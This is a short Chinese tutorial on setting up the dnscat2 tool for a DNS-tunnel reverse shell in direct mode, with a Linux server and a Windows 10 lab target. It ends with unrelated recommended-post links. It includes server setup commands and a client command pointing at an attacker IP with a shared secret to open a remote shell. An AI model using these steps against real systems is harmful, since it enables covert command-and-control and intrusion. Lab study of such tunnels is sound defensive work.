使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
songx_992 分钟前
Linux基础2
linux·运维·服务器
longerxin20204 分钟前
卸载 CCleaner 失败?用 Revo Uninstaller 彻底清干净(附官方下载 + 详细步骤)
windows
我想要SSR7 分钟前
搭建小龙虾过程和坑点
linux·服务器·ai
陈皮糖..1 小时前
27 届运维实习笔记|第三、四周:从流程熟练到故障排查,企业运维实战深化
运维·笔记·sql·nginx·ci/cd·云计算·jenkins
莫白媛1 小时前
Linux在限制敏感命令下的修改用户密码小白版
linux·运维·服务器
hhb_6182 小时前
C Shell 基础语法与高阶运维实战指南
运维·c语言·chrome
Rcnhtin2 小时前
RocketMQ
java·linux·rocketmq
AC赳赳老秦3 小时前
OpenClaw多平台部署:Windows+Linux跨系统协同,实现全场景覆盖
linux·服务器·前端·网络·windows·deepseek·openclaw
念恒123063 小时前
进程--程序地址空间下篇(进程地址空间)
linux·c语言
___波子 Pro Max.3 小时前
Linux 外挂 SSD 根目录下的 `.Trash-1000` 到底是什么
linux